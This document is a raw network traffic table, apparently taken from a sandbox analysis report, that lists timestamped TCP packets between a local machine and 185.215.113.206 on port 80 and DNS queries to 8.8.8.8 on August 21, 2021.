Aug 21, 2021 21:47:02.917465925 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:02.917499065 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:02.917515039 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:02.917531013 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:02.917546988 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:02.918019056 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:02.963856936 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:02.965846062 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.136843920 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.137773037 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.198081017 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.198245049 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.198762894 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.198909998 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.217586994 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.217850924 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.218163013 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.218422890 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.280144930 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.280175924 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.280185938 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.280195951 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.280205965 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.280220032 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.280234098 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.280344009 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.280400038 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.341582060 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.341602087 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.341658115 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.341947079 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.342338085 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.342350006 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.342499018 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.342550039 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.342628956 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.403264999 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403450966 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403469086 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403479099 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403491974 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403507948 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403636932 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403650999 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403666973 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.403671980 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.403738022 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.403785944 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.404014111 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:04.404562950 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.405129910 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.405277014 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.405955076 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.466876030 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.466902971 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.466917992 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.466927052 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.466938019 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.561938047 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:04.562406063 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.424040079 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.436191082 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.489083052 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.491332054 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.494999886 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.495099068 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.496287107 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.496428013 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.496675968 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.496853113 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.554807901 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.554830074 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.554845095 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.554857016 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.555087090 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.555109978 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.555197001 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.555399895 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.555480957 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.555557013 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.555644989 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.555866957 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.555969954 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.556155920 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.556214094 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.556415081 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.556493998 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.556631088 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.556706905 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.556819916 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.558828115 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.612422943 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.612521887 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.612538099 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.612548113 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.612593889 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.612637043 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.612651110 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.612987995 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.613024950 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.613070011 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.613095045 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.613161087 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.613182068 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.613266945 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.613884926 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.613961935 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.615971088 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.616148949 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.661247969 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.661374092 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.669965982 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.669991016 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.670053959 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.670130968 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.670167923 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.670169115 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.670185089 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:05.670312881 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.670424938 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.670439959 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.670500040 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.670874119 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.673089027 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.673294067 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.673422098 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.719238043 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.727252007 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.727317095 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.727344036 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.727468014 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.727672100 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.727686882 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.775475979 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:05.776037931 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.771277905 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.775199890 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.828659058 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.828900099 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.832901001 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.833983898 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.835726023 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.836076021 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.836309910 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.836497068 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.893752098 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.893918991 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.894177914 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.895235062 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.895256996 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.895271063 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.895328999 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.895376921 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.895807028 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.897150993 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.897242069 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.897612095 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.897629023 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.897638083 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.897653103 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.897716999 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.897743940 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.952292919 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.952431917 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.952449083 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.952889919 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.952944994 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.954054117 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.954255104 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.954658985 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.954818010 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:06.955110073 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.955157995 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.955184937 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:06.955209017 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:07.019682884 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019714117 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019722939 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019737005 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019746065 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019754887 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019764900 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019773006 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019781113 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019788980 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.019798040 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.020200968 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:07.081625938 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.081724882 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.081742048 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.081756115 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.150294065 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:07.153496027 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.256990910 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.259294033 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.314403057 CEST	80	49768	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.314511061 CEST	49768	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.316688061 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.316828966 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.317249060 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.317357063 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.317523003 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.317605019 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.374367952 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.374545097 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.375247955 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.375339031 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.376869917 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.376960039 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.378279924 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378412962 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.378604889 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378621101 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378637075 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378658056 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378679037 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378690004 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.378703117 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378717899 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.378722906 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.378746986 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.378782034 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.432796001 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.432950974 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.433954000 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.434020996 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.434068918 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.434112072 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.435833931 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.436003923 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.440851927 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.440902948 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.440980911 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.441035986 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.492439985 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.492486954 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.492510080 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.492531061 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.492875099 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.492918968 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.496933937 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.497050047 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.497873068 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.497987986 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.498779058 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.498811007 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.498831987 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.498869896 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.498914957 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.498996019 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.541626930 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.541811943 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.554017067 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.554240942 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.556962967 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.557109118 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.557713032 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.557827950 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.558518887 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.558551073 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.558576107 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.558589935 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.558607101 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.558693886 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.558729887 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:08.558780909 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.598931074 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.612052917 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.612107992 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.614998102 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.615423918 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.618845940 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.618880033 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.618895054 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.692539930 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:08.692783117 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:09.463052034 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:09.464046955 CEST	49770	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:09.520364046 CEST	80	49769	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:09.520840883 CEST	80	49770	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:09.520924091 CEST	49769	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:09.520963907 CEST	49770	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:47:30.131695032 CEST	80	49770	185.215.113.206	192.168.2.7
Aug 21, 2021 21:47:30.131769896 CEST	49770	80	192.168.2.7	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2021 21:44:55.302247047 CEST	50848	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:44:55.330737114 CEST	53	50848	8.8.8.8	192.168.2.7
Aug 21, 2021 21:44:55.549655914 CEST	61242	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:44:55.582994938 CEST	53	61242	8.8.8.8	192.168.2.7
Aug 21, 2021 21:44:55.691987038 CEST	58562	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:44:55.694179058 CEST	56590	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:44:55.717478037 CEST	53	58562	8.8.8.8	192.168.2.7
Aug 21, 2021 21:44:55.743098974 CEST	53	56590	8.8.8.8	192.168.2.7
Aug 21, 2021 21:44:55.854660034 CEST	60501	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:44:55.880109072 CEST	53	60501	8.8.8.8	192.168.2.7
Aug 21, 2021 21:44:58.817359924 CEST	53775	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:44:58.859291077 CEST	53	53775	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:16.796971083 CEST	51837	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:16.831633091 CEST	53	51837	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:33.434051037 CEST	55411	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:33.468717098 CEST	53	55411	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:49.109914064 CEST	63668	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:50.097078085 CEST	63668	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:51.144062042 CEST	63668	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:52.068357944 CEST	54640	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:52.109000921 CEST	53	54640	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:53.159936905 CEST	63668	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:53.197335005 CEST	53	63668	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:53.210263968 CEST	58739	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:53.259645939 CEST	53	58739	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:53.285563946 CEST	60338	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:53.594423056 CEST	53	60338	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:54.136148930 CEST	53	63668	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:54.481292963 CEST	58717	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:54.790847063 CEST	53	58717	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:55.122689962 CEST	53	63668	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:55.497004986 CEST	59762	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:55.530116081 CEST	53	59762	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:56.169867992 CEST	53	63668	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:56.409187078 CEST	54329	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:56.445255041 CEST	53	54329	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:57.340956926 CEST	58052	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:57.374233961 CEST	53	58052	8.8.8.8	192.168.2.7
Aug 21, 2021 21:45:59.152720928 CEST	54008	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:45:59.187423944 CEST	53	54008	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:00.074668884 CEST	59451	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:00.111179113 CEST	53	59451	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:00.124485970 CEST	52914	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:00.153821945 CEST	53	52914	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:00.954287052 CEST	64569	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:00.987442970 CEST	53	64569	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:01.053515911 CEST	52816	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:01.086863995 CEST	53	52816	8.8.8.8	192.168.2.7
